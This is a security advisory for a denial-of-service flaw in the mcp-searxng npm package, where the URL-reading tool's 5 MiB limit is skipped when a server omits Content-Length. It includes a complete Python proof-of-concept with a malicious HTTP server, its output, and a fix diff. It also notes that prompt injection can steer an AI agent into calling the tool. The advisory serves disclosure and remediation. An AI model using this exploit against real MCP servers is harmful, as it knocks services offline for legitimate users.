PT-2026-53803 · Npm · Mcp-Searxng
Published
2026-06-19
·
Updated
2026-06-19
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Unbounded Response Body Read Bypasses URL Size Limit in web url read
Summary
The
web url read MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the Content-Length header of a preliminary HEAD request. When a server omits Content-Length — a standard HTTP practice — checkContentLength() returns null, the guard condition short-circuits to false, and response.text() loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.Details
web url read is the entry point (src/index.ts:226-240). It passes the caller-supplied URL directly into readUrlContent() in src/url-reader.ts.Size-limit check (bypassed)
ts
// src/url-reader.ts:352-360
const contentLength = await checkContentLength(...);
if (contentLength !== null && contentLength > maxContentLengthBytes) {
return createContentTooLargeMessage(contentLength, maxContentLengthBytes);
}checkContentLength() (src/url-reader.ts:243-245) returns null when the HEAD response carries no Content-Length header. Because the guard uses the !== null conjunction, a null result causes the entire check to evaluate as false, and execution falls through without enforcing the configured 5 MiB ceiling.Unbounded sinks
A full GET request is then issued (
src/url-reader.ts:367) with no streaming byte cap:ts
// src/url-reader.ts:414 — normal response path
htmlContent = await response.text();
// src/url-reader.ts:402 — error response path (same issue)
responseBody = await response.text();The full HTML string is subsequently passed to
NodeHtmlMarkdown.translate() (src/url-reader.ts:429), which amplifies CPU consumption proportional to the body size.Default exposure
web url read is enabled by default. In HTTP transport mode, authentication is disabled by default, so AV:N/PR:N applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.PoC
Prerequisites
- Docker installed.
- Build context: the repository root (
npmAI 249 ihor-sokoliuk mcp-searxng/).
Build the image
bash
docker build
-t vuln002-test
-f vuln-002/Dockerfile
reports/npmAI 249 ihor-sokoliuk mcp-searxng/Run the PoC
bash
docker run --rm vuln002-testThe container starts two processes:
- A malicious HTTP server on
127.0.0.1:9799that responds to HEAD with HTTP 200 and noContent-Length, then responds to GET with a 6,291,456-byte HTML body and noContent-Length. - mcp-searxng in HTTP mode (
MCP HTTP ALLOW PRIVATE URLS=trueenables loopback URLs for local reproduction).
The PoC script initializes an MCP session and calls:
json
{
"method": "tools/call",
"params": {
"name": "web url read",
"arguments": { "url": "http://127.0.0.1:9799/", "maxLength": 1 }
}
}Observed output (Phase 2 confirmation)
HEAD REQUESTS : 1
GET REQUESTS : 1
GET BYTES SENT : 6,291,456
CONFIGURED DEFAULT LIMIT : 5,242,880
BYTES OVER LIMIT : +1,048,576
ELAPSED SEC : 0.17
TOOL STATUS : SUCCESS
RETURNED LENGTH CHARS : 1
[PASS] VULNERABILITY CONFIRMED
6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.
Root cause confirmed:
1. HEAD response had no Content-Length header.
2. checkContentLength() returned null (url-reader.ts:243-245)
3. Guard condition was false (null !== null => false) (url-reader.ts:359)
4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)Remediation
Replace both
response.text() calls with a streaming reader that aborts once the byte counter exceeds maxContentLengthBytes:diff
+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise<string | null> {
+ if (!response.body) return response.text();
+ const reader = response.body.getReader();
+ const decoder = new TextDecoder();
+ const chunks: string[] = [];
+ let total = 0;
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) break;
+ total += value.byteLength;
+ if (total > maxBytes) { await reader.cancel(); return null; }
+ chunks.push(decoder.decode(value, { stream: true }));
+ }
+ chunks.push(decoder.decode());
+ return chunks.join("");
+}
- responseBody = await response.text();
+ responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)
+ ?? "[Response body exceeded configured size limit]";
- htmlContent = await response.text();
+ const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);
+ if (limitedBody === null) {
+ return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);
+ }
+ htmlContent = limitedBody;Impact
This is an Uncontrolled Resource Consumption (DoS) vulnerability. Any network-reachable attacker who can supply a URL to the
web url read tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.Reproduction artifacts
Dockerfile
dockerfile
FROM node:20-slim
# Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3
&& rm -rf /var/lib/apt/lists/*
# Copy repository source and build the vulnerable mcp-searxng
# Build context: parent directory (npmAI 249 ihor-sokoliuk mcp-searxng/)
WORKDIR /app
COPY repo/ /app/
RUN npm ci && npm run build
# Copy the PoC script
COPY vuln-002/poc.py /poc.py
# Run the dynamic reproduction PoC
CMD ["python3", "-u", "/poc.py"]poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)
Affected: ihor-sokoliuk/mcp-searxng v1.6.0
File: src/url-reader.ts:414 (response.text())
CWE: CWE-400 Uncontrolled Resource Consumption
CVSS: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Root cause:
checkContentLength() at src/url-reader.ts:243-245 returns null when the
server sends no Content-Length header. The guard at line 359:
if (contentLength !== null && contentLength > maxContentLengthBytes)
evaluates to false (null !== null => false), so the check is skipped.
response.text() at line 414 then reads the full body without any byte cap.
Reproduction:
1. Malicious HTTP server (this process, port 9799):
HEAD => 200, Content-Type only, NO Content-Length
GET => 200, 6+ MiB HTML body, NO Content-Length
2. mcp-searxng (subprocess, HTTP mode, port 3000):
MCP HTTP ALLOW PRIVATE URLS=true -- allows 127.x for local PoC
3. This script initializes an MCP session, calls web url read pointing
at the malicious server, and measures actual bytes transmitted.
Expected evidence:
GET BYTES SENT > CONFIGURED DEFAULT LIMIT (5242880)
=> The 5 MiB guard was bypassed; full body was consumed without a cap.
"""
import json
import os
import socket
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
DEFAULT MAX CONTENT LENGTH = 5 * 1024 * 1024 # 5 MiB (same as src/url-reader.ts)
BODY SIZE BYTES = 6 * 1024 * 1024 # 6 MiB — exceeds the configured limit
EVIL PORT = 9799
MCP PORT = 3000
# ---------------------------------------------------------------------------
# Shared state — updated by the malicious server thread
# ---------------------------------------------------------------------------
g bytes sent = 0
g head count = 0
g get count = 0
# ---------------------------------------------------------------------------
# Malicious HTTP server
# ---------------------------------------------------------------------------
class MaliciousHandler(BaseHTTPRequestHandler):
"""
Simulates an attacker-controlled HTTP server that:
- Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)
- Returns 200 for GET with a 6 MiB body and NO Content-Length
(triggers unbounded response.text() read)
"""
# Use HTTP/1.0 so the connection closes after the body — no Content-Length needed.
protocol version = "HTTP/1.0"
def log message(self, fmt, *args): # suppress default per-request logging
pass
def do HEAD(self):
global g head count
g head count += 1
print(
f"[EVIL-SERVER] HEAD #{g head count} from {self.address string()}"
" — responding 200 with NO Content-Length (triggers null in checkContentLength)",
flush=True,
)
self.send response(200)
self.send header("Content-Type", "text/html; charset=utf-8")
# Deliberately omitting Content-Length — this is the bypass trigger
self.end headers()
def do GET(self):
global g get count, g bytes sent
g get count += 1
print(
f"[EVIL-SERVER] GET #{g get count} from {self.address string()}"
f" — streaming {BODY SIZE BYTES:,} bytes with NO Content-Length",
flush=True,
)
self.send response(200)
self.send header("Content-Type", "text/html; charset=utf-8")
# Deliberately NO Content-Length header
self.end headers()
# Build a simple but large HTML body that exceeds DEFAULT MAX CONTENT LENGTH.
# Simple structure keeps NodeHtmlMarkdown conversion fast.
header = b"<html><body><pre>"
footer = b"</pre></body></html>"
payload char = b"A"
target = BODY SIZE BYTES - len(header) - len(footer)
chunk size = 65536 # 64 KiB chunks
total = 0
try:
self.wfile.write(header)
total += len(header)
while total < BODY SIZE BYTES - len(footer):
chunk = payload char * min(chunk size, BODY SIZE BYTES - len(footer) - total)
self.wfile.write(chunk)
total += len(chunk)
self.wfile.write(footer)
total += len(footer)
except (BrokenPipeError, OSError):
pass # client may close early on abort
g bytes sent = total
print(f"[EVIL-SERVER] Done. Total bytes sent: {g bytes sent:,}", flush=True)
def run evil server():
srv = HTTPServer(("127.0.0.1", EVIL PORT), MaliciousHandler)
srv.serve forever()
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def wait for port(host: str, port: int, timeout: float = 30) -> bool:
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create connection((host, port), timeout=1):
return True
except (ConnectionRefusedError, OSError):
time.sleep(0.3)
return False
def http post(url: str, payload: dict, session id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:
"""POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content type, session id)."""
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session id:
headers["mcp-session-id"] = session id
data = json.dumps(payload).encode()
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read()
ct = resp.headers.get("content-type", "")
sid = resp.headers.get("mcp-session-id")
return body, ct, sid
def parse mcp response(body: bytes, content type: str) -> dict | None:
"""Parse a JSON or SSE-wrapped JSON-RPC response."""
if "text/event-stream" in content type:
for line in body.decode(errors="replace").splitlines():
if line.startswith("data: "):
try:
return json.loads(line[6:])
except json.JSONDecodeError:
continue
return None
try:
return json.loads(body)
except json.JSONDecodeError:
# Fallback: try SSE even if content-type says JSON
for line in body.decode(errors="replace").splitlines():
if line.startswith("data: "):
try:
return json.loads(line[6:])
except json.JSONDecodeError:
continue
return None
# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------
def main():
print("=" * 72, flush=True)
print("VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit", flush=True)
print("=" * 72, flush=True)
print(f" DEFAULT MAX CONTENT LENGTH BYTES : {DEFAULT MAX CONTENT LENGTH:,}", flush=True)
print(f" EVIL BODY SIZE BYTES : {BODY SIZE BYTES:,}", flush=True)
print(f" BYTES OVER LIMIT : +{BODY SIZE BYTES - DEFAULT MAX CONTENT LENGTH:,}", flush=True)
print(flush=True)
# ------------------------------------------------------------------
# Step 1: Start the malicious HTTP server
# ------------------------------------------------------------------
print(f"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL PORT} ...", flush=True)
evil thread = threading.Thread(target=run evil server, daemon=True)
evil thread.start()
if not wait for port("127.0.0.1", EVIL PORT, timeout=5):
print("[ERROR] Malicious server failed to start within 5 s", flush=True)
sys.exit(1)
print("[+] Malicious server ready", flush=True)
# ------------------------------------------------------------------
# Step 2: Start mcp-searxng in HTTP mode
# ------------------------------------------------------------------
print(f"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP PORT} ...", flush=True)
env = {
**os.environ,
"MCP HTTP PORT" : str(MCP PORT),
"MCP HTTP HOST" : "127.0.0.1",
"SEARXNG URL" : "http://127.0.0.1:8080", # not used in this test
# Allow 127.x URLs so the PoC can point at the local malicious server.
# (Real attacks target public servers — this env var enables local reproduction.)
"MCP HTTP ALLOW PRIVATE URLS": "true",
"NODE ENV" : "production",
}
proc = subprocess.Popen(
["node", "/app/dist/cli.js"],
env=env,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
def stream server logs():
for line in proc.stdout:
print(f"[MCP-SERVER] {line.decode(errors='replace').rstrip()}", flush=True)
log thread = threading.Thread(target=stream server logs, daemon=True)
log thread.start()
if not wait for port("127.0.0.1", MCP PORT, timeout=20):
print("[ERROR] mcp-searxng HTTP server failed to start within 20 s", flush=True)
proc.terminate()
sys.exit(1)
print("[+] mcp-searxng HTTP server ready", flush=True)
mcp url = f"http://127.0.0.1:{MCP PORT}/mcp"
# ------------------------------------------------------------------
# Step 3: Initialize MCP session
# ------------------------------------------------------------------
print("[*] Initializing MCP session ...", flush=True)
init body, init ct, session id = http post(
mcp url,
payload={
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln002-poc", "version": "1.0"},
},
},
)
init resp = parse mcp response(init body, init ct)
if not init resp or "result" not in init resp:
print(f"[ERROR] initialize failed: {init body[:400]}", flush=True)
proc.terminate()
sys.exit(1)
print(f"[+] Session initialized. session id={session id}", flush=True)
# Send notifications/initialized (no response expected — ignore errors)
try:
http post(
mcp url,
session id=session id,
payload={"jsonrpc": "2.0", "method": "notifications/initialized"},
timeout=10,
)
except Exception:
pass # 202 with empty body or similar non-error responses
# ------------------------------------------------------------------
# Step 4: Call web url read pointing at the malicious server
# ------------------------------------------------------------------
evil url = f"http://127.0.0.1:{EVIL PORT}/"
print(flush=True)
print(f"[*] Calling web url read with URL: {evil url}", flush=True)
print(f" HEAD response will have NO Content-Length", flush=True)
print(f" => checkContentLength() returns null", flush=True)
print(f" => guard at url-reader.ts:359 is bypassed", flush=True)
print(f" => response.text() at url-reader.ts:414 reads ALL {BODY SIZE BYTES:,} bytes", flush=True)
t start = time.monotonic()
try:
tool body, tool ct, = http post(
mcp url,
session id=session id,
payload={
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "web url read",
"arguments": {"url": evil url, "maxLength": 1},
},
},
timeout=120,
)
elapsed = time.monotonic() - t start
tool resp = parse mcp response(tool body, tool ct)
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t start
tool resp = parse mcp response(e.read(), e.headers.get("content-type", ""))
except Exception as e:
elapsed = time.monotonic() - t start
print(f"[WARN] tool call exception: {e}", flush=True)
tool resp = None
# Give the evil server thread a moment to flush its final log
time.sleep(0.5)
# ------------------------------------------------------------------
# Step 5: Collect and report evidence
# ------------------------------------------------------------------
print(flush=True)
print("=" * 72, flush=True)
print("[EVIDENCE]", flush=True)
print(f" HEAD REQUESTS : {g head count}", flush=True)
print(f" GET REQUESTS : {g get count}", flush=True)
print(f" GET BYTES SENT : {g bytes sent:,}", flush=True)
print(f" CONFIGURED DEFAULT LIMIT : {DEFAULT MAX CONTENT LENGTH:,}", flush=True)
print(
f" BYTES OVER LIMIT : {g bytes sent - DEFAULT MAX CONTENT LENGTH:+,}",
flush=True,
)
print(f" ELAPSED SEC : {elapsed:.2f}", flush=True)
if tool resp:
if "error" in tool resp:
err = tool resp["error"]
print(
f" TOOL STATUS : ERROR code={err.get('code')} "
f"msg={str(err.get('message', ''))[:120]}",
flush=True,
)
elif "result" in tool resp:
content = tool resp["result"].get("content", [])
text = content[0].get("text", "") if content else ""
print(f" TOOL STATUS : SUCCESS", flush=True)
print(f" RETURNED LENGTH CHARS : {len(text)}", flush=True)
print(f" RETURNED EXCERPT : {repr(text[:80])}", flush=True)
else:
print(f" TOOL STATUS : (raw) {tool body[:200] if tool body else b'<no body>'}", flush=True)
print("=" * 72, flush=True)
# ------------------------------------------------------------------
# Verdict
# ------------------------------------------------------------------
bypass confirmed = g bytes sent > DEFAULT MAX CONTENT LENGTH
if bypass confirmed:
print(flush=True)
print("[PASS] VULNERABILITY CONFIRMED", flush=True)
print(
f" {g bytes sent:,} bytes were transmitted to mcp-searxng despite a "
f"{DEFAULT MAX CONTENT LENGTH:,}-byte ({DEFAULT MAX CONTENT LENGTH // (1024*1024)} MiB) limit.",
flush=True,
)
print(f" Root cause confirmed:", flush=True)
print(f" 1. HEAD response had no Content-Length header.", flush=True)
print(f" 2. checkContentLength() returned null (url-reader.ts:243-245)", flush=True)
print(f" 3. Guard condition was false (null !== null => false) (url-reader.ts:359)", flush=True)
print(f" 4. response.text() read {g bytes sent:,} bytes without a cap (url-reader.ts:414)", flush=True)
proc.terminate()
sys.exit(0)
else:
print(flush=True)
if g get count == 0:
print("[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server", flush=True)
else:
print(
f"[FAIL] GET request received but bytes sent={g bytes sent:,} <= limit={DEFAULT MAX CONTENT LENGTH:,}",
flush=True,
)
proc.terminate()
sys.exit(1)
if name == " main ":
main()Fix
Resource Exhaustion
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Mcp-Searxng